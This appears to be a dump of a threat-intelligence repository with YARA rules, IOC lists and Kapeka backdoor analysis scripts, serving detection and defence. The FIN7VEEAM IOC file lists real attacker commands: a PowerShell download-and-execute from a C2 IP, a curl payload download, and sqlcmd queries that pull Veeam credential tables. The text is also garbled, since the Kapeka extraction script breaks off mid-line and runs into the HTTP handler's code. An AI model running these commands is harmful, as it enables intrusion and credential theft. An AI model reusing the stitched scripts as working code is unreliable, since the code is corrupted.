├── Kapeka ├── .gitignore ├── requirements.txt ├── kapeka_backdoor.yar ├── iocs.csv ├── README.md ├── kapeka_extract_backdoor.py ├── kapeka_http_handler.py └── kapeka_extract_config.py ├── README.md ├── SILKLOADER ├── silkloader.yar └── iocs.csv ├── DUCKTAIL ├── ducktail_nativeaot.yara ├── ducktail_artifacts.yar ├── ducktail_exceldna_packed.yara ├── ducktail_dotnet_core_infostealer.yar └── iocs.csv ├── TangleCrypt ├── TangleCrypt_YARA.yar └── TangleCrypt_IOC.csv ├── LICENSE ├── WEBJACK └── WEBJACK_IOC.csv ├── FIN7VEEAM └── iocs.csv ├── KeeLoader └── keeloader_iocs.csv ├── TamperedChef └── TamperedChef_IOC.csv └── WeevilProxy └── weevilproxy_iocs.csv /Kapeka/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Kapeka/requirements.txt: -------------------------------------------------------------------------------- 1 | pefile 2 | pycryptodome 3 | wincrypto 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Contains indicators of compromise (IOCs) from published reports and investigations -------------------------------------------------------------------------------- /SILKLOADER/silkloader.yar: -------------------------------------------------------------------------------- 1 | import "pe" 2 | rule SILKLOADER 3 | { 4 | meta: 5 | author="WithSecure" 6 | description="Detects SILKLOADER samples" 7 | date="2023-03-15" 8 | version="1.0" 9 | reference="https://labs.withsecure.com/publications/silkloader" 10 | hash1="c83ac6dc96febd49c7c558e8cf85dd8bcb3a84fdc78b3ba72ebf681566dc1865" 11 | hash2="e4dadabd1cee7215ff6e31e01f6b0dd820851685836592a14f982f2c7972fc25" 12 | hash3="d77a59e6ba3a8f3c000a8a8955af77d2898f220f7bf3c0968bf0d7c8ac25a5ad" 13 | strings: 14 | $str1 = {5400520041004e005300460045005200} 15 | $str2 = {760062006300630073006200} 16 | condition: 17 | pe.is_pe 18 | and pe.characteristics & pe.DLL 19 | and all of them 20 | } -------------------------------------------------------------------------------- /Kapeka/kapeka_backdoor.yar: -------------------------------------------------------------------------------- 1 | import "pe" 2 | rule kapeka_backdoor 3 | { 4 | meta: 5 | author="WithSecure" 6 | description="Detects Kapeka backdoor based on common strings." 7 | date="2024-04-17" 8 | version="1.0" 9 | reference="https://labs.withsecure.com/publications/kapeka" 10 | hash1="97e0e161d673925e42cdf04763e7eaa53035338b" 11 | hash2="9bbde40cab30916b42e59208fbcc09affef525c1" 12 | hash3="6c3441b5a4d3d39e9695d176b0e83a2c55fe5b4e" 13 | strings: 14 | $a = "Azbi3l1xIgcRzTsOHopgrwUdJUMWpOFt" ascii 15 | $b = "PID : " wide 16 | $c = "ExitCode : " wide 17 | $d = "1: " wide 18 | $e = "2: " wide 19 | condition: 20 | pe.is_dll() and filesize > 50000 and filesize < 500000 and 4 of them 21 | } -------------------------------------------------------------------------------- /DUCKTAIL/ducktail_nativeaot.yara: -------------------------------------------------------------------------------- 1 | import "pe" 2 | rule ducktail_nativeaot 3 | { 4 | meta: 5 | author="WithSecure" 6 | description="Detects NativeAOT variants of DUCKTAIL malware" 7 | date="2022-11-17" 8 | version="1.0" 9 | reference="https://labs.withsecure.com/publications/ducktail_returns" 10 | hash1="b043e4639f89459cae85161e6fbf73b22470979e" 11 | hash2="073b092bf949c31628ee20f7458067bbb05fda3a" 12 | hash3="d1f6b5f9718a2fe9eaac0c1a627228d3f3b86f87" 13 | condition: 14 | uint16(0) == 0x5A4D 15 | and filesize > 15MB 16 | and (pe.section_index(".managed") >= 0 17 | or pe.exports("DotNetRuntimeDebugHeader") 18 | ) 19 | and pe.exports("SendFile") 20 | and pe.exports("Start") 21 | and pe.exports("Open") 22 | } -------------------------------------------------------------------------------- /DUCKTAIL/ducktail_artifacts.yar: -------------------------------------------------------------------------------- 1 | rule ducktail_artifacts 2 | { 3 | meta: 4 | author="WithSecure" 5 | description="Detects artifacts found in files associated to DUCKTAIL malware" 6 | date="2022-07-18" 7 | version="1.0" 8 | reference="https://labs.withsecure.com/publications/ducktail" 9 | hash1="3dbd9e1c3d0fd6358d4adcba04fdfc0b6e8acc49" 10 | hash2="9370243589327b458486e3f7637779c2a96b4250" 11 | hash3="b98170b18b906aee771dbd4dbd31e5963a90a50e" 12 | strings: 13 | $pdb_path_1 = /[a-z]\:\\projects\\(viruttest|virot)\\/i nocase ascii 14 | $pdb_path_2 = /[a-z]\:\\users\\ductai\\/i nocase ascii 15 | $pdb_path_3 = "\\dataextractor.pdb" nocase ascii 16 | $email = "ductai2308@gmail.com" wide ascii 17 | condition: 18 | uint16(0) == 0x5A4D 19 | and any of them 20 | } 21 | -------------------------------------------------------------------------------- /Kapeka/iocs.csv: -------------------------------------------------------------------------------- 1 | Type,Value,Note,Seen in,Seen on 2 | Filename,crdss.exe,Backdoor dropper file name,Ukraine,Jun-22 3 | Filename,%SYSTEM%\win32log.exe,Backdoor dropper file name,Estonia,Sep-22 4 | SHA1,80fb042b4a563efe058a71a647ea949148a56c7c,Backdoor dropper hash,Ukraine,Jun-22 5 | SHA1,5d9c189160423b2e6a079bec8638b7e187aebd37,Backdoor dropper hash,Estonia,Sep-22 6 | SHA1,6c3441b5a4d3d39e9695d176b0e83a2c55fe5b4e,Backdoor hash,Estonia,Sep-22 7 | SHA1,97e0e161d673925e42cdf04763e7eaa53035338b,Backdoor hash,Ukraine,May-23 8 | SHA1,9bbde40cab30916b42e59208fbcc09affef525c1,Backdoor hash,Ukraine,Jun-22 9 | URL,https[:]//103[.]78[.]122[.]94/help/healthcheck,Backdoor C2 address,-,- 10 | URL,https[:]//88[.]80[.]148[.]65/news/article,Backdoor C2 address,-,- 11 | URL,https[:]//185[.]181[.]229[.]102/home/info,Backdoor C2 address,-,- 12 | URL,https[:]//185[.]38[.]150[.]8/star/key,Backdoor C2 address,-,- 13 | -------------------------------------------------------------------------------- /TangleCrypt/TangleCrypt_YARA.yar: -------------------------------------------------------------------------------- 1 | rule tanglecrypt 2 | { 3 | meta: 4 | author="WithSecure" 5 | description="Detects samples packed with TangleCrypt" 6 | date="2025-11-25" 7 | version="1.0" 8 | reference="https://labs.withsecure.com/publications/tanglecrypt" 9 | hash1="2936f5f3ff24f5bb42eace4ad2d64989b19dc6cd75d8f4ee83496ee6bdf169f6" 10 | hash2="fb3fc93dc627c7dfd8d95c1d66c2cb66caac92783b6d6eb33ac5b91647871ae6" 11 | strings: 12 | // "Can't call WinAPI function" 13 | $str1 = { 43 61 6E 27 74 20 63 61 6C 6C 20 57 69 6E 41 50 49 20 66 75 6E 63 74 69 6F 6E } 14 | // mov r8d, 0x8D7 -- (...) -- call 15 | $opc_x64 = { 41 B8 D7 08 00 00 [0-10] ( E8 | FF 15 ) } 16 | // push 0x8D7 -- (...) -- call 17 | $opc_x86 = { 68 D7 08 00 00 [0-10] ( E8 | FF 15 ) } 18 | condition: 19 | // MZ 20 | uint16(0) == 0x5A4D 21 | // PE 22 | and (uint32(uint32(0x3C)) == 0x00004550) 23 | // strings 24 | and all of ($str*) 25 | // opcodes 26 | and (#opc_x64 > 50 or #opc_x86 > 50) 27 | } 28 | -------------------------------------------------------------------------------- /DUCKTAIL/ducktail_exceldna_packed.yara: -------------------------------------------------------------------------------- 1 | import "pe" 2 | rule ducktail_exceldna_packed 3 | { 4 | meta: 5 | author="WithSecure" 6 | description="Detects Excel Add-in variants of DUCKTAIL malware" 7 | date="2022-11-17" 8 | version="1.0" 9 | reference="https://labs.withsecure.com/publications/ducktail_returns" 10 | hash1="e11b55bea4cd63d09220eaf72ffb591838ac54fb" 11 | hash2="630f467fda3ac80eaa2f23b141aff122f501504e" 12 | hash3="2a3a7682e9e77b3124a09dff0167fffe9d91c8b7" 13 | strings: 14 | $xll_str_1 = "exceldna" nocase ascii 15 | $xll_str_2 = "iexceladdin" nocase ascii 16 | $encryption_str_1 = "zbase32" nocase ascii 17 | $encryption_str_2 = "sharpaescrypt" nocase ascii 18 | $encryption_str_3 = "confuserex" nocase ascii 19 | $dt_module_name = "exceladdinbuilder" nocase ascii 20 | condition: 21 | uint16(0) == 0x5A4D 22 | and any of ($xll_str_*) 23 | and (2 of ($encryption_str_*) 24 | or for any res in pe.resources : ( res.name_string == "C\x00O\x00N\x00F\x00I\x00G\x00" and hash.sha256(res.offset, res.length) == "08515030bb98ffd03fcbf15788e49d155a59cdbc74be27066542e8c0e29214f9") 25 | or $dt_module_name 26 | ) 27 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 2-Clause License 2 | 3 | Copyright (c) [2022], [WithSecure Oyj] 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | 8 | 1. Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 16 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 17 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 18 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 19 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 20 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 21 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 22 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 23 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 24 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /WEBJACK/WEBJACK_IOC.csv: -------------------------------------------------------------------------------- 1 | Type,Value,Description IPv4 Address,79[.]142[.]76[.]244,Cobalt Strike C2 address Domain,tdk[.]hunanduodao[.]com,IIS C2 Domain,tdk[.]jmfwy[.]com,IIS C2 Domain,jiankong[.]sneaws[.]com,IIS C2 Domain,seo[.]667759[.]com,IIS C2 Domain,google2[.]sneaws[.]com,IIS C2 Domain,kaifa[.]sneaws[.]com,IIS C2 Domain,w3c[.]sneaws[.]com,IIS C2 Domain,w5c[.]sneaws[.]com,IIS C2 Domain,w5r[.]sneaws[.]com,IIS C2 Domain,google[.]sneaws[.]com,IIS C2 Domain,jk[.]667759[.]com,IIS C2 SHA256,11265422e79f2cd057ee1ae38a16e5db54039711ae8cdb9e177aebfde5666f32,fasthttp.dll SHA256,c9b4657b6aea927bb0f601f2063e743f8702408c98d01ca3332692b29c4d90ca,fashttp.dll SHA256,c65dea5d6ab244520a794de0bc9a232050b632b391b3cd3a616661f03d9d2619,fashttp.dll SHA256,b0842c9916449de6d4b4159d6c5af747d6fb40609510d6a8d2eb669932c1f661,fashttp.dll SHA256,72cf397738724b1f555c147005c61c058619405846460a60b02a2af75b57a81e,cgihttp.dll SHA256,c17d1bb654bfa9ff9f612d37c1204585cfc76d663818a23aac78ba43e35e3df0,cgihttp.dll SHA256,9a2fd34e22c5f3d3d5fb96e3cd514dad7b03ed7bf53a87e7d8d9b73987d02ece,cgihttp.dll SHA256,98d4d3de1af9d8568ededbddad4ed5a2072393985421462f44d12e482a1a36af,cgihttp.dll SHA256,6b60b6df8a1a95f51ffe57255c05d26eb9e113857efac3b29d6ef080b8d414f3,cgihttp.dll SHA256,561fcf1a2d6cc2170d2b538f416e95d981663984e384da51b36ffe97d2653dcd,Cobalt Strike Beacon SHA256,767576a2b67a3a53883b174a50c83192d0930a4ce213af5f5093e6ee26910d2b,Cobalt Strike Beacon SHA256,ffbad7beab3e0888d6957637f2ec80156402ad540e9c92ebb243fe27bea1f598,XlAnyLoader SHA256,00c7efe65ab90c03678359f5ba6b24d9f938a28205652dd61f15d7a31323cf1b,SoftEther VPN SHA256,bab9a644aff24cf313210cc6632f71d935a428ea0efb3823c0dbe6dccabe4b73,SoftEther VPN SHA256,cbbe63d47e377ab93a39d11554b3024760868bf667db388efc62e6f2850b5d89,SoftEther VPN SHA256,86b8605b4870be8c3e83e51b4e3ee80e781a7c5a0104ffa656da651a03579c5a,FScan SHA256,d8c0ef6dbf7d4572f92d3a492f32061ab8f3dd46beb9ff5a0bf9bf550935458c,Sharp4RemoveLog SHA256,48ec6530470b295db455bf2c72dc4fbd18672725f45821304f966d436b428865,CnCrypt Protect SHA256,e51ea911a281097be040ac2871134e6c7d5c3b37c8b46d2267ad40a18a05d2ec,GoToHTTP SHA256,ffa835cd05558fa52a12e91136c4e8a3e7393b3155a6be7877812c6e7d1ff811,httpcgi.dat 2 | -------------------------------------------------------------------------------- /Kapeka/README.md: -------------------------------------------------------------------------------- 1 | # Kapeka 2 | These artifacts are related to WithSecure’s investigation on Kapeka. 3 | 4 | A report with detailed analysis titled "Kapeka: A novel backdoor spotted in Eastern Europe" is available on WithSecure Labs Blog: https://labs.withsecure.com/publications/kapeka 5 | 6 | List of artifacts: 7 | * `iocs.csv` is a list of indicators of compromise (IOCs) for Kapeka in CSV format. 8 | * `kapeka_backdoor.yar` is a YARA rule that can detect Kapeka backdoor samples. 9 | * `kapeka_extract_backdoor.py` is a Python script to extract and decrypt the backdoor binary from the dropper’s resource section. Usage explained below. 10 | * `kapeka_http_handler.py` is a script to decrypt and emulate Kapeka’s network communication. This has been implemented as a custom HTTP handler for [fakenet](https://github.com/mandiant/flare-fakenet-ng). Usage explained below. 11 | * `kapeka_extract_config.py` is a script to extract Kapeka’s configuration from either registry or embedded within the backdoor binary. Usage explained below. 12 | 13 | ## Usage 14 | ### kapeka_extract_backdoor.py 15 | This script will extract and decrypt backdoor binaries found in Kapeka's dropper. It will save the decrypted resources into the current working directory. This script can only be executed on Windows. 16 | 17 | Requires Python >= 3.7.8 and Python library: `pycryptodome` 18 | 19 | Example of usage: 20 | `$ python kapeka_extract_backdoor.py dropper.exe` 21 | 22 | ### kapeka_extract_config.py 23 | This script will extract Kapeka's configuration from either local registry or embedded within the backdoor binary. To extract from local registry, this script needs to be executed on a machine infected with Kapeka. 24 | 25 | Requires Python >= 3.7.8 and Python library: `pycryptodome` 26 | 27 | Example of usage (to extract from local registry): 28 | `$ python kapeka_extract_config.py` 29 | 30 | Example of usage (to extract from binary) 31 | `$ python kapeka_extract_config.py backdoor.exe` 32 | 33 | ### kapeka_http_handler.py 34 | This script is a custom HTTP handler for Kapeka's network communication. It can be used to emulate Kapeka's C2 responses and dump its requests. This has been implemented and tested with [fakenet](https://github.com/mandiant/flare-fakenet-ng). 35 | 36 | To get started you need to: 37 | * Generate an RSA-2048 key pair. 38 | * Replace the private key in the script with the generated private key. 39 | * Replace the public key in the Kapeka backdoor you want to analyze with the generated public key. 40 | * Configure fakenet to use the provided script to handle HTTP traffic for Kapeka C2 addresses. 41 | -------------------------------------------------------------------------------- /Kapeka/kapeka_extract_backdoor.py: -------------------------------------------------------------------------------- 1 | import pefile 2 | import struct 3 | import re 4 | from Crypto.Cipher import AES 5 | from wincrypto import CryptCreateHash, CryptExportKey, CryptDeriveKey, CryptHashData 6 | from wincrypto.constants import CALG_MD5, CALG_AES_256 7 | from ctypes.wintypes import DWORD, LPVOID , UINT, BOOL, BYTE, LPCSTR 8 | import sys 9 | from pathlib import Path 10 | 11 | def read_file(): 12 | args = sys.argv 13 | if len(args) < 2 or len(args) > 3: 14 | print('Usage: python kapeka_extract_backdoor.py dropper.exe') 15 | exit() 16 | try: 17 | file_path = sys.argv[1] 18 | file_data = None 19 | with open(file_path, 'rb') as f: 20 | file_data = f.read() 21 | except Exception as e: 22 | print(f'Input file path ({file_path}) could not be read') 23 | print(e) 24 | exit() 25 | return file_data, file_path 26 | 27 | def parse_password(file_data, pe_file): 28 | egg = rb'\x66\x83\x3D(....)\x00\xB8(....)' 29 | for m in re.finditer(egg, file_data): 30 | if m.group(1) != m.group(2): 31 | print('Password not found in binary') 32 | exit() 33 | pwd_va = struct.unpack('I", big_endian_encrypted_key_length)[0] 57 | encrypted_key = sio.read(encrypted_key_length) 58 | decrypted_key = decrypt_rsa(encrypted_key, private_key) 59 | 60 | big_endian_encrypted_data_length = sio.read(4) 61 | encrypted_data_length = struct.unpack(">I", big_endian_encrypted_data_length)[0] 62 | encrypted_data = sio.read(encrypted_data_length) 63 | decrypted_data = decrypt_aes(encrypted_data,decrypted_key) 64 | 65 | return decrypted_key, decrypted_data 66 | 67 | def HandleRequest(req, method, post_data=None): 68 | """ 69 | Request format 70 | <4-byte XOR key> 71 | 72 | Logic: 73 | Extract XOR key from first 4 bytes 74 | XOR rest of response 75 | Next 4 bytes indicate length of encrypted key 76 | Extract next n bytes 77 | Decrypt via private key 78 | Next 4 bytes indicate length of encrypted data 79 | Extract next n bytes 80 | Decrypt via decrypted key 81 | Log raw data 82 | Response: 83 | Use same decrypted key to encrypt response 84 | Response format 85 | Update configuration 86 | Example: 87 | {\"GafpPS\": {\"LsHsAO\": [\"https://127.0.0.1/news/article\"], \"hM4cDc\": 5, \"nLMNzt\": 10}} 88 | {\"Td7opP\": [{\"J8yWIG\": \"Execute command\", \"CwbJ4E\": 5, \"XVXLNm\": \"whoami\", \"INlB5X\":\"\"}]} 89 | Execute backdoor command 90 | 91 | """ 92 | 93 | response_config_update = '{\"GafpPS\": {\"LsHsAO\": [\"https://133.133.133.133/doot/article\"], \"hM4cDc\": 3, \"nLMNzt\": 10}}' 94 | response_execute_command = '{\"Td7opP\": [{\"J8yWIG\": \"Execute command\", \"CwbJ4E\": 5, \"XVXLNm\": \"whoami\", \"INlB5X\":\"\"}]}' 95 | response = response_config_update 96 | decrypted_key, decrypted_data = handle_response(post_data) 97 | print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~') 98 | print('Decrypted data blob: ') 99 | print(decrypted_data) 100 | print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~') 101 | print('Sending encrypted response: ') 102 | print(response) 103 | print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~') 104 | response = encrypt_aes(response.encode('utf-16le'),decrypted_key) 105 | req.send_response(200) 106 | req.send_header('Content-Length', len(response)) 107 | req.end_headers() 108 | req.wfile.write(response) -------------------------------------------------------------------------------- /FIN7VEEAM/iocs.csv: -------------------------------------------------------------------------------- 1 | Indicator type,Value,Note 2 | SHA1,8687b6b1508a93556d6e30d14e5c4ee9971f2d80,"POWERTRASH ""icsnd16_64refl.ps1"" sample" 3 | SHA1,b621f8c5e9033718b4e9d47a2f0eccb9783f612a,"DUBLOADER ""libcurl.dll"" sample" 4 | SHA1,e5480a47172e3f75dbf0384f4ca82c7b47910e0f,"POWERTRASH ""icbt11801_64refl.ps1"" sample" 5 | IP,217.12.206.176,DICELOADER C2 6 | IP,162.248.225.115,DICELOADER C2 7 | IP,45.136.199.128,DICELOADER C2 8 | IP,91.149.243.181,DICELOADER C2 9 | IP,91.199.147.152,DICELOADER C2 10 | IP,95.217.49.123,DICELOADER C2 11 | IP,77.75.230.112,DICELOADER C2 12 | IP,194.87.148.41,DICELOADER C2 13 | IP,195.123.244.162,DICELOADER C2 14 | Command line,powershell.exe -noni -nop -exe bypass -f \\XXX.XXX.XXX.XXX\ADMIN$\temp\nFcv5ke38cnE.ps1,Lateral movement - POWERTRASH script execution 15 | Command line,powershell.exe -noni -nop -exe bypass -f \\XXX.XXX.XXX.XXX\ADMIN$\temp\8MDg144UDiaz.ps1 \\XXX.XXX.XXX.XXX\ADMIN$\temp\tjRoG0vVn8OE.log,Lateral movement - Recon/Discovery script execution 16 | Command line,"C:\Windows\system32\cmd.exe /c powershell.exe -ex bypass -Command ""iex ((New-Object Net.WebClient).DownloadString('http://91.199.147.152/icsnd16_64refl.ps1'))""",POWERTRASH download and execution 17 | Command line,"powershell.exe -ex bypass -noprof -nolog -nonint -f ""C:\Windows\TEMP\934F.ps1""",PowerShell execution command 18 | Command line,curl -O https://temp.sh/eJkTm/gup18.ps1,"Download POWERHOLD ""gup18.ps1""" 19 | Command line,whoami,Hands-on command 20 | Command line,systeminfo,Hands-on command 21 | Command line,ping -n 1 -a XXX.XXX.XXX.XXX,Hands-on command 22 | Command line,"wmic /user:""REDACTED"" /password:""REDACTED"" /node:""XXX.XXX.XXX.XXX"" process list brief",Hands-on command 23 | Command line,net use w: \\XXX.XXX.XXX.XXX\c$ /user:XXX.XXX.XXX.XXX\REDACTED REDACTED,Hands-on command 24 | Command line,net use w: /d /y,Hands-on command 25 | Command line,"WMIC LOGICALDISK GET Name,Size,FreeSpace",Hands-on command 26 | Command line,ipconfig /all,Hands-on command 27 | Command line,tasklist /v,Hands-on command 28 | Command line,netstat -aon,Hands-on command 29 | Command line,nslookup myip.opendns.com. resolver1.opendns.com,Hands-on command 30 | Command line,"reg query ""HKLM\software\veeam\veeam backup and replication""",Hands-on command 31 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup-2 SELECT top 100 * FROM Credentials;""",Hands-on command 32 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM JobSourceRepositories;""",Hands-on command 33 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM BJobs.VSphereInfo;""",Hands-on command 34 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM SmbFileShares;""",Hands-on command 35 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM VSphere.Workspaces;""",Hands-on command 36 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM ObjectsInBackups;""",Hands-on command 37 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM BackupRepositories;""",Hands-on command 38 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM PhysicalHosts;""",Hands-on command 39 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM Ssh_creds;""",Hands-on command 40 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM HostNetwork;""",Hands-on command 41 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM HostCreds;""",Hands-on command 42 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM Backups;""",Hands-on command 43 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM Locations;""",Hands-on command 44 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM BJobs;""",Hands-on command 45 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM PhysicalHostsServersLink;""",Hands-on command 46 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM ObjectsInJobs;""",Hands-on command 47 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM Hosts;""",Hands-on command 48 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM JobVssCredsView;""",Hands-on command 49 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM HostsByJobs;""",Hands-on command 50 | Command line,"sqlcmd.exe -S localhost\VEEAMSQL2016 -E -Q ""use VeeamBackup SELECT top 100 * FROM HostCreds;""",Hands-on command -------------------------------------------------------------------------------- /TangleCrypt/TangleCrypt_IOC.csv: -------------------------------------------------------------------------------- 1 | Component,SHA256,Applied packers,Architecture,Payload compiler,Driver name,Targeted AV/EDR vendors,Cert thumbprint 2 | STONESTOP,0b4295bcd7bf850fea2b1bc09f652da028af33d625b11781ac875c603a52e5a8,VMProtect + HeartCrypt,x86,GCC/MingW,zkjna.sys,Defender + ESET, 3 | STONESTOP,0e7930481e53e4fc79a6aa9d1b037b4127d66a3138b8a1a03f1fc50ddec9f0a6,VMProtect + HeartCrypt,x86,GCC/MingW,Iezog.sys,Defender + TrendMicro, 4 | STONESTOP,0eaa413dc13bc846258e5b4670142bea20e567065b7f4bbc135fe62d93878160,VMProtect + HeartCrypt,x86,GCC/MingW,mzhbx.sys,Defender + SentinelOne, 5 | STONESTOP,147dee11a406a86dd9b42982c091e8acbaca13614edb75f447cbaffb23017a90,VMProtect + HeartCrypt,x86,GCC/MingW,nxaiJn.sys,Defender, 6 | STONESTOP,15cd13e0cad20394ec1405748e4bd50e3f27313c6274aee098c4eb0ede970b4c,VMProtect,x64,GCC/MingW,pE6KNzQ.sys,Defender + TrendMicro, 7 | STONESTOP,2073d94af0aa560c11e3399d2b83a720ee373a46ccf835486e57c37e3d1d9a25,VMProtect + HeartCrypt,x86,GCC/MingW,kcrWr.sys,Defender + Sophos + HitmanPro, 8 | STONESTOP,28fa1789fff41060e35496507d518a032c2a6142712843eb98ff63f6ec99997a,VMProtect,x86,GCC/MingW,pcdar.sys,Defender + Sophos + HitmanPro, 9 | STONESTOP,2936f5f3ff24f5bb42eace4ad2d64989b19dc6cd75d8f4ee83496ee6bdf169f6,VMProtect + TangleCrypt,x64,Visual Studio,fehmr.sys,Defender + Bitdefender, 10 | STONESTOP,43cd3f8675e25816619f77b047ea5205b6491137c5b77cce058533a07bdc9f98,VMProtect + HeartCrypt,x86,GCC/MingW,smuol.sys,Defender + ESET + Symantec + Sophos + HitmanPro + Webroot + Kaspersky, 11 | STONESTOP,4686bf07db10376fb4c8ce3b729c4ab60d89b454fc57feb39f9607cb43a081d9,VMProtect + HeartCrypt,x86,GCC/MingW,rWNvj.sys,Defender + SentinelOne, 12 | STONESTOP,48e6e071b70566bc9fabbbff995946076b410f5459356b65051ae10e04fe512f,VMProtect + HeartCrypt,x86,GCC/MingW,mraml.sys,Defender + Sophos + HitmanPro, 13 | STONESTOP,49ed990459486e569cd1428b045baff1e61b86cdeef84a75384b5f7f46bd678e,VMProtect + HeartCrypt,x86,GCC/MingW,mcqeh.sys,Defender + Fortinet + TrendMicro, 14 | STONESTOP,5baf5445c4b22c645ff6d509a744e0b6c96fe5c5ea84ed471421af890cfd8533,VMProtect + HeartCrypt,x86,GCC/MingW,wwSyR.sys,Defender + Bitdefender + ESET + Webroot, 15 | STONESTOP,5c8f53bd9eb13ac07ca5190ed0946c9feb5c73627bf5c0c9e79b28626310ad90,VMProtect + HeartCrypt,x86,GCC/MingW,hshhv.sys,Defender + SentinelOne (only drivers), 16 | STONESTOP,5e423483165666976997e17b9834b9f6bd0da6c4b0da23f45584203f7c08fe4c,VMProtect + HeartCrypt,x86,GCC/MingW,xtvwi.sys,Defender + Cylance, 17 | STONESTOP,77e089dfeb1d114d4171e461e0c4f36b895ed8ef5ee23e8b243bdf491837b5b6,VMProtect + HeartCrypt,x86,GCC/MingW,igJTf.sys,Defender + McAfee + TrendMicro, 18 | STONESTOP,9dd36887e84ec25414fee984e22e42b1a76e893f1d476d689d89719ffe8077ff,VMProtect + HeartCrypt,x86,GCC/MingW,mlwvu.sys,Defender + CrowdStrike, 19 | STONESTOP,aae2e7f4feb75a61c98a727a9da9c3eba213e9e43aa7c9e81e2b3c2f6439b908,VMProtect + HeartCrypt,x86,Visual Studio,iwzre.sys,Defender + Webroot, 20 | STONESTOP,b8c1f3d24f0282c84ed599147462d4031df43cd4fceef38afcee4b3fc8f16e7b,VMProtect + HeartCrypt,x86,GCC/MingW,xxvgw.sys,Defender + Cisco, 21 | STONESTOP,d2939cd18c9072488767520be081fef71d560896c6293b6633cab099fcd238ae,VMProtect + HeartCrypt,x86,Visual Studio,zyzna.sys,Defender + SentinelOne, 22 | STONESTOP,ddf23db6881e42e65440c26a208c9175ad705c708f0a5d8426a2636bad79777c,VMProtect + HeartCrypt,x86,GCC/MingW,dzken.sys,Defender + Symantec + F-Secure/WithSecure, 23 | STONESTOP,df6cb5199c272c491b3a7ac44df6c4c279d23f7c09daed758c831b26732a4851,VMProtect + HeartCrypt,x86,GCC/MingW,smuot.sys,Defender + ESET + Symantec + Sophos + HitmanPro + Webroot + Kaspersky, 24 | STONESTOP,e6309fdb03313dd1b62467684a49692de5c27bbc3c17e65e2010cfbf686a4bf3,VMProtect + HeartCrypt,x86,GCC/MingW,bukzc.sys,Defender + SentinelOne, 25 | STONESTOP,f11930cb70556941b6e3c8530956f1381a4cdbd1e3fe8e9f363487a73b45a9c0,VMProtect + HeartCrypt,x86,GCC/MingW,mnpki.sys,Defender + TrendMicro, 26 | STONESTOP,f1c37f93d000134b4bfe439add26f3c146958dd87b230123d58790fedce6336a,VMProtect + HeartCrypt,x86,GCC/MingW,scmsa.sys,Defender + Kaspersky, 27 | STONESTOP,f51397bb18e166c933fe090320ec23397fed73b68157ce86406db9f07847d355,VMProtect + HeartCrypt,x86,GCC/MingW,HvYit.sys,Defender + SentinelOne, 